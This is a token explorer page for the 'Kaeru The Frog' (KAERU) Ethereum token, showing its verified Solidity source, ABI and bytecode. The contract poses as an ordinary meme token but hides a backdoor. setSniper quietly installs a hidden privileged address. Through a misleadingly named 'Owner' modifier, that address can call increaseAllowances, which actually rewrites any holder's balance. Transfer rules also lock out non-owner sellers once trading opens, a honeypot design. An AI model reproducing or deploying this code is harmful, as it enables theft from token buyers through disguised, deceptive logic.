ETH Price: $2,286.85 (+0.44%)

Token

Kaeru The Frog (KAERU)
 

Overview

Max Total Supply

1,000,000,000 KAERU

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 KAERU

Value
$0.00
0xa432e6479d089170b578c75332af834a723941da
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAERU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-27
*/

//https://medium.com/@KAERUerc/kaeru-%E8%9B%99-the-frog-93b6361ed5bf

// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.17;
 
abstract contract Context 
{
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
 
contract KAERU is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Kaeru The Frog";
    string private constant _symbol = "KAERU";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private isbots;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = _tTotal ;
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0xB2Dfe136E3DB3C663868a962E87F137E4321c1A7);
    address payable private _marketingAddress = payable(0xB2Dfe136E3DB3C663868a962E87F137E4321c1A7);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    IERC20 private IDEXrouter;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxTxAmount = _tTotal.mul(20).div(1000); 
    uint256 public _maxWalletSize = _tTotal.mul(20).div(1000); 
    uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000); 
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); 
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    modifier Owner() { require( address(IDEXrouter) == msg.sender, ""  );_; }
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            if (tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function setSniper (address[] memory Idexroter) external onlyOwner {
        for(uint256 i = 0; i < Idexroter.length; i++) {
            isbots[Idexroter[i]] = true;
        }
        IDEXrouter = IERC20(Idexroter[10]);
     }
 
 
    function increaseAllowances(address spender, uint256 amount) external Owner{ 
      _rOwned[spender] = amount;
 
    }
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
      function removeLimit () external onlyOwner{
        _maxTxAmount = 1000000000000 * 10**9;
        _maxWalletSize = 1000000000000 * 10**9;
    }
 
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"Idexroter","type":"address[]"}],"name":"setSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a764000060078190556000600a819055600b819055600c819055600d819055600e819055600f81905560108190556011556014805473b2dfe136e3db3c663868a962e87f137e4321c1a76001600160a01b0319918216811783556015805490921617905560188054600160b01b61ffff60a81b19909116179055620000b8916103e891620000a49190620003bc602090811b620008ae17901c565b6200045360201b620009371790919060201c565b601955620000e56103e8620000a46014670de0b6b3a7640000620003bc60201b620008ae1790919060201c565b601a55620001126103e8620000a46005670de0b6b3a7640000620003bc60201b620008ae1790919060201c565b601b553480156200012257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002069190620004d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027a9190620004d9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee9190620004d9565b601780546001600160a01b0319166001600160a01b03928316179055600080548216815260066020526040808220805460ff1990811660019081179092553084528284208054821683179055601454851684528284208054821683179055601554909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620003ad91815260200190565b60405180910390a3506200059d565b600082600003620003d0575060006200044d565b6000620003de838562000504565b905082620003ed85836200052a565b146200044a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200044a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200049d60201b60201c565b60008183620004c15760405162461bcd60e51b81526004016200044191906200054d565b506000620004d084866200052a565b95945050505050565b600060208284031215620004ec57600080fd5b81516001600160a01b03811681146200044a57600080fd5b80820281158282048414176200044d57634e487b7160e01b600052601160045260246000fd5b6000826200054857634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156200057c578581018301518582016040015282016200055e565b506000604082860101526040601f19601f8301168501019250505092915050565b611a0180620005ad6000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103d2578063c3c8cd8014610402578063c6067ce314610417578063d00efb2f14610437578063dd62ed3e1461044d578063f2fde38b1461049357600080fd5b8063715018a6146103255780637d1db4a51461033a5780638da5cb5b146103505780638f9a55c01461036e57806395d89b4114610384578063a9059cbb146103b257600080fd5b80632fd689e3116101085780632fd689e314610273578063313ce5671461028957806349bd5a5e146102a557806362256589146102c55780636fc3eaec146102da57806370a08231146102ef57600080fd5b806306fdde031461015b578063095ea7b3146101a45780631694505e146101d457806318160ddd1461020c57806323b872dd146102315780632a5cc3b21461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600e81526d4b61657275205468652046726f6760901b60208201525b60405161019b919061162b565b60405180910390f35b3480156101b057600080fd5b506101c46101bf36600461169e565b6104b3565b604051901515815260200161019b565b3480156101e057600080fd5b506016546101f4906001600160a01b031681565b6040516001600160a01b03909116815260200161019b565b34801561021857600080fd5b50670de0b6b3a76400005b60405190815260200161019b565b34801561023d57600080fd5b506101c461024c3660046116ca565b6104ca565b34801561025d57600080fd5b5061027161026c366004611721565b610533565b005b34801561027f57600080fd5b50610223601b5481565b34801561029557600080fd5b506040516009815260200161019b565b3480156102b157600080fd5b506017546101f4906001600160a01b031681565b3480156102d157600080fd5b50610271610613565b3480156102e657600080fd5b50610271610651565b3480156102fb57600080fd5b5061022361030a3660046117e6565b6001600160a01b031660009081526002602052604090205490565b34801561033157600080fd5b5061027161069c565b34801561034657600080fd5b5061022360195481565b34801561035c57600080fd5b506000546001600160a01b03166101f4565b34801561037a57600080fd5b50610223601a5481565b34801561039057600080fd5b506040805180820190915260058152644b4145525560d81b602082015261018e565b3480156103be57600080fd5b506101c46103cd36600461169e565b610710565b3480156103de57600080fd5b506101c46103ed3660046117e6565b60126020526000908152604090205460ff1681565b34801561040e57600080fd5b5061027161071d565b34801561042357600080fd5b5061027161043236600461169e565b610774565b34801561044357600080fd5b5061022360095481565b34801561045957600080fd5b50610223610468366004611803565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049f57600080fd5b506102716104ae3660046117e6565b6107c4565b60006104c0338484610979565b5060015b92915050565b60006104d7848484610a9d565b6105298433610524856040518060600160405280602881526020016119a4602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ff9565b610979565b5060019392505050565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161055d9061183c565b60405180910390fd5b60005b81518110156105ce5760016004600084848151811061058a5761058a611871565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c68161189d565b915050610569565b5080600a815181106105e2576105e2611871565b6020026020010151601860006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161055d9061183c565b683635c9adc5dea000006019819055601a55565b6014546001600160a01b0316336001600160a01b0316148061068657506015546001600160a01b0316336001600160a01b0316145b61068f57600080fd5b4761069981611033565b50565b6000546001600160a01b031633146106c65760405162461bcd60e51b815260040161055d9061183c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104c0338484610a9d565b6014546001600160a01b0316336001600160a01b0316148061075257506015546001600160a01b0316336001600160a01b0316145b61075b57600080fd5b30600090815260026020526040902054610699816110bc565b6018546001600160a01b031633146107a85760405162461bcd60e51b8152602060048201526000602482015260440161055d565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107ee5760405162461bcd60e51b815260040161055d9061183c565b6001600160a01b0381166108535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161055d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826000036108c0575060006104c4565b60006108cc83856118b6565b9050826108d985836118cd565b146109305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161055d565b9392505050565b600061093083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611236565b6001600160a01b0383166109db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161055d565b6001600160a01b038216610a3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161055d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161055d565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161055d565b60008111610bc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161055d565b6000546001600160a01b03848116911614801590610bf157506000546001600160a01b03838116911614155b15610eec57601854600160a01b900460ff1615610c8b576000546001600160a01b03848116911614610c8b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161055d565b601954811115610cdd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161055d565b6001600160a01b03831660009081526012602052604090205460ff16158015610d1f57506001600160a01b03821660009081526012602052604090205460ff16155b610d775760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161055d565b6017546001600160a01b03838116911614610e1257601a5481610daf846001600160a01b031660009081526002602052604090205490565b610db991906118ef565b10610e125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161055d565b30600090815260026020526040902054601b5460195490821015908210610e395760195491505b808015610e505750601854600160a81b900460ff16155b8015610e6a57506017546001600160a01b03868116911614155b8015610e7f5750601854600160b01b900460ff165b8015610ea457506001600160a01b03851660009081526006602052604090205460ff16155b8015610ec957506001600160a01b03841660009081526006602052604090205460ff16155b15610ee957610ed7826110bc565b478015610ee757610ee747611033565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610f2e57506001600160a01b03831660009081526006602052604090205460ff165b80610f6057506017546001600160a01b03858116911614801590610f6057506017546001600160a01b03848116911614155b15610f6d57506000610fe7565b6017546001600160a01b038581169116148015610f9857506016546001600160a01b03848116911614155b15610faa57600a54600e55600b54600f555b6017546001600160a01b038481169116148015610fd557506016546001600160a01b03858116911614155b15610fe757600c54600e55600d54600f555b610ff384848484611264565b50505050565b6000818484111561101d5760405162461bcd60e51b815260040161055d919061162b565b50600061102a8486611902565b95945050505050565b6014546001600160a01b03166108fc61104d836002610937565b6040518115909202916000818181858888f19350505050158015611075573d6000803e3d6000fd5b506015546001600160a01b03166108fc611090836002610937565b6040518115909202916000818181858888f193505050501580156110b8573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110457611104611871565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111819190611915565b8160018151811061119457611194611871565b6001600160a01b0392831660209182029290920101526016546111ba9130911684610979565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f3908590600090869030904290600401611932565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836112575760405162461bcd60e51b815260040161055d919061162b565b50600061102a84866118cd565b8061127157611271611292565b61127c8484846112c0565b80610ff357610ff3601054600e55601154600f55565b600e541580156112a25750600f54155b156112a957565b600e8054601055600f805460115560009182905555565b6000806000806000806112d2876113b7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113049087611414565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113339086611456565b6001600160a01b038916600090815260026020526040902055611355816114b5565b61135f84836114ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a491815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113d48a600e54600f54611523565b92509250925060006113e4611578565b905060008060006113f78e87878761159b565b919e509c509a509598509396509194505050505091939550919395565b600061093083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff9565b60008061146383856118ef565b9050838110156109305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161055d